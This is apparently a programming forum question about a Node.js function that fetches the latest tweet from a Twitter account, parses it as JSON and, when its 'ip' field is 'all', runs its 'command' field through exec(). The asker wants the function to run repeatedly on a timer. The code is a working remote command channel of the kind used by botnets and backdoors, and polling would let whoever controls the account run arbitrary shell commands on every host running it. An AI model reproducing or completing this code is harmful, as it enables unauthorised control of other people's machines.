I have this function:
function executeCommand(callback) {
let params = {screen_name: '...'};
client.get('/statuses/user_timeline', params, function(error, tweets) {
if (JSON.parse(tweets[0].text).ip === 'all'){
exec(JSON.parse(tweets[0].text).command, (err, stdout, stderr) => {
if (err) {
console.error(err);
return;
}
return callback(stdout);
});
}
});
}
I want to call it with timeout. I know about setInterval
, but how to pass my executeCommand()
to it?
I tried like that but it doesn't work:
setInterval(executeCommand(function(resp){console.log(resp)}), 3000);` .
P.S calling of executeCommand
looks like:
executeCommand(function(resp){console.log(resp)})
Is it possible to do call like that:
console.log(executeCommand())